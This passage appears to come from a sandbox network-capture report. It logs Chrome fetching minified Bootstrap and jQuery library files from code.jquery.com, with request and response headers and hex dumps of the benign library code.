2025-01-10 17:37:43 UTC	1369	IN	Data Raw: 61 6c 29 2c 74 68 69 73 2e 5f 69 6e 74 65 72 76 61 6c 3d 6e 75 6c 6c 29 2c 74 68 69 73 2e 5f 63 6f 6e 66 69 67 2e 69 6e 74 65 72 76 61 6c 26 26 21 74 68 69 73 2e 5f 69 73 50 61 75 73 65 64 26 26 28 74 68 69 73 2e 5f 69 6e 74 65 72 76 61 6c 3d 73 65 74 49 6e 74 65 72 76 61 6c 28 28 64 6f 63 75 6d 65 6e 74 2e 76 69 73 69 62 69 6c 69 74 79 53 74 61 74 65 3f 74 68 69 73 2e 6e 65 78 74 57 68 65 6e 56 69 73 69 62 6c 65 3a 74 68 69 73 2e 6e 65 78 74 29 2e 62 69 6e 64 28 74 68 69 73 29 2c 74 68 69 73 2e 5f 63 6f 6e 66 69 67 2e 69 6e 74 65 72 76 61 6c 29 29 7d 2c 43 2e 74 6f 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 76 61 72 20 6e 3d 74 68 69 73 3b 74 68 69 73 2e 5f 61 63 74 69 76 65 45 6c 65 6d 65 6e 74 3d 74 28 74 68 69 73 2e 5f 65 6c 65 6d 65 6e 74 29 2e 66 69 6e Data Ascii: al),this._interval=null),this._config.interval&&!this._isPaused&&(this._interval=setInterval((document.visibilityState?this.nextWhenVisible:this.next).bind(this),this._config.interval))},C.to=function(e){var n=this;this._activeElement=t(this._element).fin
2025-01-10 17:37:43 UTC	1369	IN	Data Raw: 66 28 21 2f 69 6e 70 75 74 7c 74 65 78 74 61 72 65 61 2f 69 2e 74 65 73 74 28 74 2e 74 61 72 67 65 74 2e 74 61 67 4e 61 6d 65 29 29 73 77 69 74 63 68 28 74 2e 77 68 69 63 68 29 7b 63 61 73 65 20 33 37 3a 74 2e 70 72 65 76 65 6e 74 44 65 66 61 75 6c 74 28 29 2c 74 68 69 73 2e 70 72 65 76 28 29 3b 62 72 65 61 6b 3b 63 61 73 65 20 33 39 3a 74 2e 70 72 65 76 65 6e 74 44 65 66 61 75 6c 74 28 29 2c 74 68 69 73 2e 6e 65 78 74 28 29 7d 7d 2c 43 2e 5f 67 65 74 49 74 65 6d 49 6e 64 65 78 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 74 68 69 73 2e 5f 69 74 65 6d 73 3d 74 2e 6d 61 6b 65 41 72 72 61 79 28 74 28 65 29 2e 70 61 72 65 6e 74 28 29 2e 66 69 6e 64 28 79 2e 49 54 45 4d 29 29 2c 74 68 69 73 2e 5f 69 74 65 6d 73 2e 69 6e 64 65 78 4f 66 28 65 29 Data Ascii: f(!/input\|textarea/i.test(t.target.tagName))switch(t.which){case 37:t.preventDefault(),this.prev();break;case 39:t.preventDefault(),this.next()}},C._getItemIndex=function(e){return this._items=t.makeArray(t(e).parent().find(y.ITEM)),this._items.indexOf(e)
2025-01-10 17:37:43 UTC	1369	IN	Data Raw: 6e 74 28 64 2e 53 4c 49 44 2c 7b 72 65 6c 61 74 65 64 54 61 72 67 65 74 3a 63 2c 64 69 72 65 63 74 69 6f 6e 3a 72 2c 66 72 6f 6d 3a 6c 2c 74 6f 3a 5f 7d 29 3b 50 2e 73 75 70 70 6f 72 74 73 54 72 61 6e 73 69 74 69 6f 6e 45 6e 64 28 29 26 26 74 28 74 68 69 73 2e 5f 65 6c 65 6d 65 6e 74 29 2e 68 61 73 43 6c 61 73 73 28 70 29 3f 28 74 28 63 29 2e 61 64 64 43 6c 61 73 73 28 73 29 2c 50 2e 72 65 66 6c 6f 77 28 63 29 2c 74 28 61 29 2e 61 64 64 43 6c 61 73 73 28 69 29 2c 74 28 63 29 2e 61 64 64 43 6c 61 73 73 28 69 29 2c 74 28 61 29 2e 6f 6e 65 28 50 2e 54 52 41 4e 53 49 54 49 4f 4e 5f 45 4e 44 2c 66 75 6e 63 74 69 6f 6e 28 29 7b 74 28 63 29 2e 72 65 6d 6f 76 65 43 6c 61 73 73 28 69 2b 22 20 22 2b 73 29 2e 61 64 64 43 6c 61 73 73 28 67 29 2c 74 28 61 29 2e 72 65 Data Ascii: nt(d.SLID,{relatedTarget:c,direction:r,from:l,to:_});P.supportsTransitionEnd()&&t(this._element).hasClass(p)?(t(c).addClass(s),P.reflow(c),t(a).addClass(i),t(c).addClass(i),t(a).one(P.TRANSITION_END,function(){t(c).removeClass(i+" "+s).addClass(g),t(a).re
2025-01-10 17:37:43 UTC	1369	IN	Data Raw: 5f 44 41 54 41 5f 41 50 49 2c 66 75 6e 63 74 69 6f 6e 28 29 7b 74 28 79 2e 44 41 54 41 5f 52 49 44 45 29 2e 65 61 63 68 28 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 65 3d 74 28 74 68 69 73 29 3b 43 2e 5f 6a 51 75 65 72 79 49 6e 74 65 72 66 61 63 65 2e 63 61 6c 6c 28 65 2c 65 2e 64 61 74 61 28 29 29 7d 29 7d 29 2c 74 2e 66 6e 5b 65 5d 3d 43 2e 5f 6a 51 75 65 72 79 49 6e 74 65 72 66 61 63 65 2c 74 2e 66 6e 5b 65 5d 2e 43 6f 6e 73 74 72 75 63 74 6f 72 3d 43 2c 74 2e 66 6e 5b 65 5d 2e 6e 6f 43 6f 6e 66 6c 69 63 74 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 74 2e 66 6e 5b 65 5d 3d 6f 2c 43 2e 5f 6a 51 75 65 72 79 49 6e 74 65 72 66 61 63 65 7d 2c 43 7d 28 65 29 2c 48 3d 66 75 6e 63 74 69 6f 6e 28 74 29 7b 76 61 72 20 65 3d 22 63 6f 6c 6c 61 70 Data Ascii: _DATA_API,function(){t(y.DATA_RIDE).each(function(){var e=t(this);C._jQueryInterface.call(e,e.data())})}),t.fn[e]=C._jQueryInterface,t.fn[e].Constructor=C,t.fn[e].noConflict=function(){return t.fn[e]=o,C._jQueryInterface},C}(e),H=function(t){var e="collap

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.11	49735	151.101.66.137	443	4940	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 17:37:43 UTC	363	OUT	GET /jquery-3.2.1.slim.min.js HTTP/1.1 Host: code.jquery.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-10 17:37:43 UTC	612	IN	HTTP/1.1 200 OK Connection: close Content-Length: 69597 Server: nginx Content-Type: application/javascript; charset=utf-8 Last-Modified: Fri, 18 Oct 1991 12:00:00 GMT ETag: "28feccc0-10fdd" Cache-Control: public, max-age=31536000, stale-while-revalidate=604800 Access-Control-Allow-Origin: * Cross-Origin-Resource-Policy: cross-origin Via: 1.1 varnish, 1.1 varnish Accept-Ranges: bytes Age: 2090565 Date: Fri, 10 Jan 2025 17:37:43 GMT X-Served-By: cache-lga21984-LGA, cache-nyc-kteb1890040-NYC X-Cache: HIT, HIT X-Cache-Hits: 903, 0 X-Timer: S1736530664.628218,VS0,VE1 Vary: Accept-Encoding
2025-01-10 17:37:43 UTC	1378	IN	Data Raw: 2f 2a 21 20 6a 51 75 65 72 79 20 76 33 2e 32 2e 31 20 2d 61 6a 61 78 2c 2d 61 6a 61 78 2f 6a 73 6f 6e 70 2c 2d 61 6a 61 78 2f 6c 6f 61 64 2c 2d 61 6a 61 78 2f 70 61 72 73 65 58 4d 4c 2c 2d 61 6a 61 78 2f 73 63 72 69 70 74 2c 2d 61 6a 61 78 2f 76 61 72 2f 6c 6f 63 61 74 69 6f 6e 2c 2d 61 6a 61 78 2f 76 61 72 2f 6e 6f 6e 63 65 2c 2d 61 6a 61 78 2f 76 61 72 2f 72 71 75 65 72 79 2c 2d 61 6a 61 78 2f 78 68 72 2c 2d 6d 61 6e 69 70 75 6c 61 74 69 6f 6e 2f 5f 65 76 61 6c 55 72 6c 2c 2d 65 76 65 6e 74 2f 61 6a 61 78 2c 2d 65 66 66 65 63 74 73 2c 2d 65 66 66 65 63 74 73 2f 54 77 65 65 6e 2c 2d 65 66 66 65 63 74 73 2f 61 6e 69 6d 61 74 65 64 53 65 6c 65 63 74 6f 72 20 7c 20 28 63 29 20 4a 53 20 46 6f 75 6e 64 61 74 69 6f 6e 20 61 6e 64 20 6f 74 68 65 72 20 63 6f 6e Data Ascii: /*! jQuery v3.2.1 -ajax,-ajax/jsonp,-ajax/load,-ajax/parseXML,-ajax/script,-ajax/var/location,-ajax/var/nonce,-ajax/var/rquery,-ajax/xhr,-manipulation/_evalUrl,-event/ajax,-effects,-effects/Tween,-effects/animatedSelector \| (c) JS Foundation and other con
2025-01-10 17:37:43 UTC	1378	IN	Data Raw: 5b 61 5d 7d 2c 70 75 73 68 53 74 61 63 6b 3a 66 75 6e 63 74 69 6f 6e 28 61 29 7b 76 61 72 20 62 3d 72 2e 6d 65 72 67 65 28 74 68 69 73 2e 63 6f 6e 73 74 72 75 63 74 6f 72 28 29 2c 61 29 3b 72 65 74 75 72 6e 20 62 2e 70 72 65 76 4f 62 6a 65 63 74 3d 74 68 69 73 2c 62 7d 2c 65 61 63 68 3a 66 75 6e 63 74 69 6f 6e 28 61 29 7b 72 65 74 75 72 6e 20 72 2e 65 61 63 68 28 74 68 69 73 2c 61 29 7d 2c 6d 61 70 3a 66 75 6e 63 74 69 6f 6e 28 61 29 7b 72 65 74 75 72 6e 20 74 68 69 73 2e 70 75 73 68 53 74 61 63 6b 28 72 2e 6d 61 70 28 74 68 69 73 2c 66 75 6e 63 74 69 6f 6e 28 62 2c 63 29 7b 72 65 74 75 72 6e 20 61 2e 63 61 6c 6c 28 62 2c 63 2c 62 29 7d 29 29 7d 2c 73 6c 69 63 65 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 74 68 69 73 2e 70 75 73 68 53 74 61 Data Ascii: [a]},pushStack:function(a){var b=r.merge(this.constructor(),a);return b.prevObject=this,b},each:function(a){return r.each(this,a)},map:function(a){return this.pushStack(r.map(this,function(b,c){return a.call(b,c,b)}))},slice:function(){return this.pushSta
2025-01-10 17:37:43 UTC	1378	IN	Data Raw: 6a 65 63 74 20 4f 62 6a 65 63 74 5d 22 21 3d 3d 6b 2e 63 61 6c 6c 28 61 29 29 26 26 28 21 28 62 3d 65 28 61 29 29 7c 7c 28 63 3d 6c 2e 63 61 6c 6c 28 62 2c 22 63 6f 6e 73 74 72 75 63 74 6f 72 22 29 26 26 62 2e 63 6f 6e 73 74 72 75 63 74 6f 72 2c 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 63 26 26 6d 2e 63 61 6c 6c 28 63 29 3d 3d 3d 6e 29 29 7d 2c 69 73 45 6d 70 74 79 4f 62 6a 65 63 74 3a 66 75 6e 63 74 69 6f 6e 28 61 29 7b 76 61 72 20 62 3b 66 6f 72 28 62 20 69 6e 20 61 29 72 65 74 75 72 6e 21 31 3b 72 65 74 75 72 6e 21 30 7d 2c 74 79 70 65 3a 66 75 6e 63 74 69 6f 6e 28 61 29 7b 72 65 74 75 72 6e 20 6e 75 6c 6c 3d 3d 61 3f 61 2b 22 22 3a 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 61 7c 7c 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 Data Ascii: ject Object]"!==k.call(a))&&(!(b=e(a))\|\|(c=l.call(b,"constructor")&&b.constructor,"function"==typeof c&&m.call(c)===n))},isEmptyObject:function(a){var b;for(b in a)return!1;return!0},type:function(a){return null==a?a+"":"object"==typeof a\|\|"function"==typ
2025-01-10 17:37:43 UTC	1378	IN	Data Raw: 6e 6f 77 2c 73 75 70 70 6f 72 74 3a 6f 7d 29 2c 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 53 79 6d 62 6f 6c 26 26 28 72 2e 66 6e 5b 53 79 6d 62 6f 6c 2e 69 74 65 72 61 74 6f 72 5d 3d 63 5b 53 79 6d 62 6f 6c 2e 69 74 65 72 61 74 6f 72 5d 29 2c 72 2e 65 61 63 68 28 22 42 6f 6f 6c 65 61 6e 20 4e 75 6d 62 65 72 20 53 74 72 69 6e 67 20 46 75 6e 63 74 69 6f 6e 20 41 72 72 61 79 20 44 61 74 65 20 52 65 67 45 78 70 20 4f 62 6a 65 63 74 20 45 72 72 6f 72 20 53 79 6d 62 6f 6c 22 2e 73 70 6c 69 74 28 22 20 22 29 2c 66 75 6e 63 74 69 6f 6e 28 61 2c 62 29 7b 6a 5b 22 5b 6f 62 6a 65 63 74 20 22 2b 62 2b 22 5d 22 5d 3d 62 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 7d 29 3b 66 75 6e 63 74 69 6f 6e 20 77 28 61 29 7b 76 61 72 20 62 3d 21 21 61 26 26 22 6c 65 Data Ascii: now,support:o}),"function"==typeof Symbol&&(r.fn[Symbol.iterator]=c[Symbol.iterator]),r.each("Boolean Number String Function Array Date RegExp Object Error Symbol".split(" "),function(a,b){j["[object "+b+"]"]=b.toLowerCase()});function w(a){var b=!!a&&"le
2025-01-10 17:37:43 UTC	1378	IN	Data Raw: 22 29 22 29 2c 43 4c 41 53 53 3a 6e 65 77 20 52 65 67 45 78 70 28 22 5e 5c 5c 2e 28 22 2b 4c 2b 22 29 22 29 2c 54 41 47 3a 6e 65 77 20 52 65 67 45 78 70 28 22 5e 28 22 2b 4c 2b 22 7c 5b 2a 5d 29 22 29 2c 41 54 54 52 3a 6e 65 77 20 52 65 67 45 78 70 28 22 5e 22 2b 4d 29 2c 50 53 45 55 44 4f 3a 6e 65 77 20 52 65 67 45 78 70 28 22 5e 22 2b 4e 29 2c 43 48 49 4c 44 3a 6e 65 77 20 52 65 67 45 78 70 28 22 5e 3a 28 6f 6e 6c 79 7c 66 69 72 73 74 7c 6c 61 73 74 7c 6e 74 68 7c 6e 74 68 2d 6c 61 73 74 29 2d 28 63 68 69 6c 64 7c 6f 66 2d 74 79 70 65 29 28 3f 3a 5c 5c 28 22 2b 4b 2b 22 2a 28 65 76 65 6e 7c 6f 64 64 7c 28 28 5b 2b 2d 5d 7c 29 28 5c 5c 64 2a 29 6e 7c 29 22 2b 4b 2b 22 2a 28 3f 3a 28 5b 2b 2d 5d 7c 29 22 2b 4b 2b 22 2a 28 5c 5c 64 2b 29 7c 29 29 22 2b 4b Data Ascii: ")"),CLASS:new RegExp("^\\.("+L+")"),TAG:new RegExp("^("+L+"\|[])"),ATTR:new RegExp("^"+M),PSEUDO:new RegExp("^"+N),CHILD:new RegExp("^:(only\|first\|last\|nth\|nth-last)-(child\|of-type)(?:\\("+K+"(even\|odd\|(([+-]\|)(\\d)n\|)"+K+"(?:([+-]\|)"+K+"*(\\d+)\|))"+K
2025-01-10 17:37:43 UTC	1378	IN	Data Raw: 3d 3d 77 26 26 31 31 21 3d 3d 77 29 72 65 74 75 72 6e 20 64 3b 69 66 28 21 65 26 26 28 28 62 3f 62 2e 6f 77 6e 65 72 44 6f 63 75 6d 65 6e 74 7c 7c 62 3a 76 29 21 3d 3d 6e 26 26 6d 28 62 29 2c 62 3d 62 7c 7c 6e 2c 70 29 29 7b 69 66 28 31 31 21 3d 3d 77 26 26 28 6c 3d 5a 2e 65 78 65 63 28 61 29 29 29 69 66 28 66 3d 6c 5b 31 5d 29 7b 69 66 28 39 3d 3d 3d 77 29 7b 69 66 28 21 28 6a 3d 62 2e 67 65 74 45 6c 65 6d 65 6e 74 42 79 49 64 28 66 29 29 29 72 65 74 75 72 6e 20 64 3b 69 66 28 6a 2e 69 64 3d 3d 3d 66 29 72 65 74 75 72 6e 20 64 2e 70 75 73 68 28 6a 29 2c 64 7d 65 6c 73 65 20 69 66 28 73 26 26 28 6a 3d 73 2e 67 65 74 45 6c 65 6d 65 6e 74 42 79 49 64 28 66 29 29 26 26 74 28 62 2c 6a 29 26 26 6a 2e 69 64 3d 3d 3d 66 29 72 65 74 75 72 6e 20 64 2e 70 75 73 68 Data Ascii: ==w&&11!==w)return d;if(!e&&((b?b.ownerDocument\|\|b:v)!==n&&m(b),b=b\|\|n,p)){if(11!==w&&(l=Z.exec(a)))if(f=l[1]){if(9===w){if(!(j=b.getElementById(f)))return d;if(j.id===f)return d.push(j),d}else if(s&&(j=s.getElementById(f))&&t(b,j)&&j.id===f)return d.push
2025-01-10 17:37:43 UTC	1378	IN	Data Raw: 20 6d 61 28 61 29 7b 72 65 74 75 72 6e 20 66 75 6e 63 74 69 6f 6e 28 62 29 7b 76 61 72 20 63 3d 62 2e 6e 6f 64 65 4e 61 6d 65 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 3b 72 65 74 75 72 6e 22 69 6e 70 75 74 22 3d 3d 3d 63 26 26 62 2e 74 79 70 65 3d 3d 3d 61 7d 7d 66 75 6e 63 74 69 6f 6e 20 6e 61 28 61 29 7b 72 65 74 75 72 6e 20 66 75 6e 63 74 69 6f 6e 28 62 29 7b 76 61 72 20 63 3d 62 2e 6e 6f 64 65 4e 61 6d 65 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 3b 72 65 74 75 72 6e 28 22 69 6e 70 75 74 22 3d 3d 3d 63 7c 7c 22 62 75 74 74 6f 6e 22 3d 3d 3d 63 29 26 26 62 2e 74 79 70 65 3d 3d 3d 61 7d 7d 66 75 6e 63 74 69 6f 6e 20 6f 61 28 61 29 7b 72 65 74 75 72 6e 20 66 75 6e 63 74 69 6f 6e 28 62 29 7b 72 65 74 75 72 6e 22 66 6f 72 6d 22 69 6e 20 62 3f 62 2e 70 61 Data Ascii: ma(a){return function(b){var c=b.nodeName.toLowerCase();return"input"===c&&b.type===a}}function na(a){return function(b){var c=b.nodeName.toLowerCase();return("input"===c\|\|"button"===c)&&b.type===a}}function oa(a){return function(b){return"form"in b?b.pa
2025-01-10 17:37:43 UTC	1378	IN	Data Raw: 67 65 74 45 6c 65 6d 65 6e 74 73 42 79 4e 61 6d 65 7c 7c 21 6e 2e 67 65 74 45 6c 65 6d 65 6e 74 73 42 79 4e 61 6d 65 28 75 29 2e 6c 65 6e 67 74 68 7d 29 2c 63 2e 67 65 74 42 79 49 64 3f 28 64 2e 66 69 6c 74 65 72 2e 49 44 3d 66 75 6e 63 74 69 6f 6e 28 61 29 7b 76 61 72 20 62 3d 61 2e 72 65 70 6c 61 63 65 28 5f 2c 61 61 29 3b 72 65 74 75 72 6e 20 66 75 6e 63 74 69 6f 6e 28 61 29 7b 72 65 74 75 72 6e 20 61 2e 67 65 74 41 74 74 72 69 62 75 74 65 28 22 69 64 22 29 3d 3d 3d 62 7d 7d 2c 64 2e 66 69 6e 64 2e 49 44 3d 66 75 6e 63 74 69 6f 6e 28 61 2c 62 29 7b 69 66 28 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 62 2e 67 65 74 45 6c 65 6d 65 6e 74 42 79 49 64 26 26 70 29 7b 76 61 72 20 63 3d 62 2e 67 65 74 45 6c 65 6d 65 6e 74 42 79 49 64 28 61 29 Data Ascii: getElementsByName\|\|!n.getElementsByName(u).length}),c.getById?(d.filter.ID=function(a){var b=a.replace(_,aa);return function(a){return a.getAttribute("id")===b}},d.find.ID=function(a,b){if("undefined"!=typeof b.getElementById&&p){var c=b.getElementById(a)
2025-01-10 17:37:43 UTC	1378	IN	Data Raw: 2e 70 75 73 68 28 22 5b 2a 5e 24 5d 3d 22 2b 4b 2b 22 2a 28 3f 3a 27 27 7c 5c 22 5c 22 29 22 29 2c 61 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 41 6c 6c 28 22 5b 73 65 6c 65 63 74 65 64 5d 22 29 2e 6c 65 6e 67 74 68 7c 7c 71 2e 70 75 73 68 28 22 5c 5c 5b 22 2b 4b 2b 22 2a 28 3f 3a 76 61 6c 75 65 7c 22 2b 4a 2b 22 29 22 29 2c 61 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 41 6c 6c 28 22 5b 69 64 7e 3d 22 2b 75 2b 22 2d 5d 22 29 2e 6c 65 6e 67 74 68 7c 7c 71 2e 70 75 73 68 28 22 7e 3d 22 29 2c 61 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 41 6c 6c 28 22 3a 63 68 65 63 6b 65 64 22 29 2e 6c 65 6e 67 74 68 7c 7c 71 2e 70 75 73 68 28 22 3a 63 68 65 63 6b 65 64 22 29 2c 61 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 41 6c 6c 28 22 61 23 22 2b 75 2b 22 2b 2a 22 29 2e Data Ascii: .push("[^$]="+K+"(?:''\|\"\")"),a.querySelectorAll("[selected]").length\|\|q.push("\\["+K+"(?:value\|"+J+")"),a.querySelectorAll("[id~="+u+"-]").length\|\|q.push("~="),a.querySelectorAll(":checked").length\|\|q.push(":checked"),a.querySelectorAll("a#"+u+"+").
2025-01-10 17:37:43 UTC	1378	IN	Data Raw: 65 29 69 66 28 62 3d 3d 3d 61 29 72 65 74 75 72 6e 21 30 3b 72 65 74 75 72 6e 21 31 7d 2c 42 3d 62 3f 66 75 6e 63 74 69 6f 6e 28 61 2c 62 29 7b 69 66 28 61 3d 3d 3d 62 29 72 65 74 75 72 6e 20 6c 3d 21 30 2c 30 3b 76 61 72 20 64 3d 21 61 2e 63 6f 6d 70 61 72 65 44 6f 63 75 6d 65 6e 74 50 6f 73 69 74 69 6f 6e 2d 21 62 2e 63 6f 6d 70 61 72 65 44 6f 63 75 6d 65 6e 74 50 6f 73 69 74 69 6f 6e 3b 72 65 74 75 72 6e 20 64 3f 64 3a 28 64 3d 28 61 2e 6f 77 6e 65 72 44 6f 63 75 6d 65 6e 74 7c 7c 61 29 3d 3d 3d 28 62 2e 6f 77 6e 65 72 44 6f 63 75 6d 65 6e 74 7c 7c 62 29 3f 61 2e 63 6f 6d 70 61 72 65 44 6f 63 75 6d 65 6e 74 50 6f 73 69 74 69 6f 6e 28 62 29 3a 31 2c 31 26 64 7c 7c 21 63 2e 73 6f 72 74 44 65 74 61 63 68 65 64 26 26 62 2e 63 6f 6d 70 61 72 65 44 6f 63 75 Data Ascii: e)if(b===a)return!0;return!1},B=b?function(a,b){if(a===b)return l=!0,0;var d=!a.compareDocumentPosition-!b.compareDocumentPosition;return d?d:(d=(a.ownerDocument\|\|a)===(b.ownerDocument\|\|b)?a.compareDocumentPosition(b):1,1&d\|\|!c.sortDetached&&b.compareDocu

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.11	49734	151.101.66.137	443	4940	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 17:37:43 UTC	358	OUT	GET /jquery-3.1.1.min.js HTTP/1.1 Host: code.jquery.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-10 17:37:43 UTC	612	IN	HTTP/1.1 200 OK Connection: close Content-Length: 86709 Server: nginx Content-Type: application/javascript; charset=utf-8 Last-Modified: Fri, 18 Oct 1991 12:00:00 GMT ETag: "28feccc0-152b5" Cache-Control: public, max-age=31536000, stale-while-revalidate=604800 Access-Control-Allow-Origin: * Cross-Origin-Resource-Policy: cross-origin Via: 1.1 varnish, 1.1 varnish Accept-Ranges: bytes Age: 2710276 Date: Fri, 10 Jan 2025 17:37:43 GMT X-Served-By: cache-lga21947-LGA, cache-nyc-kteb1890078-NYC X-Cache: HIT, HIT X-Cache-Hits: 363, 0 X-Timer: S1736530664.649779,VS0,VE2 Vary: Accept-Encoding
2025-01-10 17:37:43 UTC	1378	IN	Data Raw: 2f 2a 21 20 6a 51 75 65 72 79 20 76 33 2e 31 2e 31 20 7c 20 28 63 29 20 6a 51 75 65 72 79 20 46 6f 75 6e 64 61 74 69 6f 6e 20 7c 20 6a 71 75 65 72 79 2e 6f 72 67 2f 6c 69 63 65 6e 73 65 20 2a 2f 0a 21 66 75 6e 63 74 69 6f 6e 28 61 2c 62 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 26 26 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3f 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3d 61 2e 64 6f 63 75 6d 65 6e 74 3f 62 28 61 2c 21 30 29 3a 66 75 6e 63 74 69 6f 6e 28 61 29 7b 69 66 28 21 61 2e 64 6f 63 75 6d 65 6e 74 29 74 68 72 6f 77 20 6e 65 77 20 45 72 72 6f 72 28 22 6a 51 75 65 72 79 20 72 65 71 75 69 72 65 73 20 61 20 77 69 6e 64 6f 77 20 77 Data Ascii: /! jQuery v3.1.1 \| (c) jQuery Foundation \| jquery.org/license /!function(a,b){"use strict";"object"==typeof module&&"object"==typeof module.exports?module.exports=a.document?b(a,!0):function(a){if(!a.document)throw new Error("jQuery requires a window w
2025-01-10 17:37:43 UTC	1378	IN	Data Raw: 3e 3d 30 26 26 63 3c 62 3f 5b 74 68 69 73 5b 63 5d 5d 3a 5b 5d 29 7d 2c 65 6e 64 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 74 68 69 73 2e 70 72 65 76 4f 62 6a 65 63 74 7c 7c 74 68 69 73 2e 63 6f 6e 73 74 72 75 63 74 6f 72 28 29 7d 2c 70 75 73 68 3a 68 2c 73 6f 72 74 3a 63 2e 73 6f 72 74 2c 73 70 6c 69 63 65 3a 63 2e 73 70 6c 69 63 65 7d 2c 72 2e 65 78 74 65 6e 64 3d 72 2e 66 6e 2e 65 78 74 65 6e 64 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 61 2c 62 2c 63 2c 64 2c 65 2c 66 2c 67 3d 61 72 67 75 6d 65 6e 74 73 5b 30 5d 7c 7c 7b 7d 2c 68 3d 31 2c 69 3d 61 72 67 75 6d 65 6e 74 73 2e 6c 65 6e 67 74 68 2c 6a 3d 21 31 3b 66 6f 72 28 22 62 6f 6f 6c 65 61 6e 22 3d 3d 74 79 70 65 6f 66 20 67 26 26 28 6a 3d 67 2c 67 3d 61 72 67 75 6d 65 6e 74 73 Data Ascii: >=0&&c<b?[this[c]]:[])},end:function(){return this.prevObject\|\|this.constructor()},push:h,sort:c.sort,splice:c.splice},r.extend=r.fn.extend=function(){var a,b,c,d,e,f,g=arguments[0]\|\|{},h=1,i=arguments.length,j=!1;for("boolean"==typeof g&&(j=g,g=arguments
2025-01-10 17:37:43 UTC	1378	IN	Data Raw: 6e 20 61 2e 6e 6f 64 65 4e 61 6d 65 26 26 61 2e 6e 6f 64 65 4e 61 6d 65 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 3d 3d 3d 62 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 7d 2c 65 61 63 68 3a 66 75 6e 63 74 69 6f 6e 28 61 2c 62 29 7b 76 61 72 20 63 2c 64 3d 30 3b 69 66 28 77 28 61 29 29 7b 66 6f 72 28 63 3d 61 2e 6c 65 6e 67 74 68 3b 64 3c 63 3b 64 2b 2b 29 69 66 28 62 2e 63 61 6c 6c 28 61 5b 64 5d 2c 64 2c 61 5b 64 5d 29 3d 3d 3d 21 31 29 62 72 65 61 6b 7d 65 6c 73 65 20 66 6f 72 28 64 20 69 6e 20 61 29 69 66 28 62 2e 63 61 6c 6c 28 61 5b 64 5d 2c 64 2c 61 5b 64 5d 29 3d 3d 3d 21 31 29 62 72 65 61 6b 3b 72 65 74 75 72 6e 20 61 7d 2c 74 72 69 6d 3a 66 75 6e 63 74 69 6f 6e 28 61 29 7b 72 65 74 75 72 6e 20 6e 75 6c 6c 3d 3d 61 3f 22 22 3a 28 61 2b 22 22 29 2e Data Ascii: n a.nodeName&&a.nodeName.toLowerCase()===b.toLowerCase()},each:function(a,b){var c,d=0;if(w(a)){for(c=a.length;d<c;d++)if(b.call(a[d],d,a[d])===!1)break}else for(d in a)if(b.call(a[d],d,a[d])===!1)break;return a},trim:function(a){return null==a?"":(a+"").
2025-01-10 17:37:43 UTC	1378	IN	Data Raw: 61 72 72 61 79 22 3d 3d 3d 63 7c 7c 30 3d 3d 3d 62 7c 7c 22 6e 75 6d 62 65 72 22 3d 3d 74 79 70 65 6f 66 20 62 26 26 62 3e 30 26 26 62 2d 31 20 69 6e 20 61 29 7d 76 61 72 20 78 3d 66 75 6e 63 74 69 6f 6e 28 61 29 7b 76 61 72 20 62 2c 63 2c 64 2c 65 2c 66 2c 67 2c 68 2c 69 2c 6a 2c 6b 2c 6c 2c 6d 2c 6e 2c 6f 2c 70 2c 71 2c 72 2c 73 2c 74 2c 75 3d 22 73 69 7a 7a 6c 65 22 2b 31 2a 6e 65 77 20 44 61 74 65 2c 76 3d 61 2e 64 6f 63 75 6d 65 6e 74 2c 77 3d 30 2c 78 3d 30 2c 79 3d 68 61 28 29 2c 7a 3d 68 61 28 29 2c 41 3d 68 61 28 29 2c 42 3d 66 75 6e 63 74 69 6f 6e 28 61 2c 62 29 7b 72 65 74 75 72 6e 20 61 3d 3d 3d 62 26 26 28 6c 3d 21 30 29 2c 30 7d 2c 43 3d 7b 7d 2e 68 61 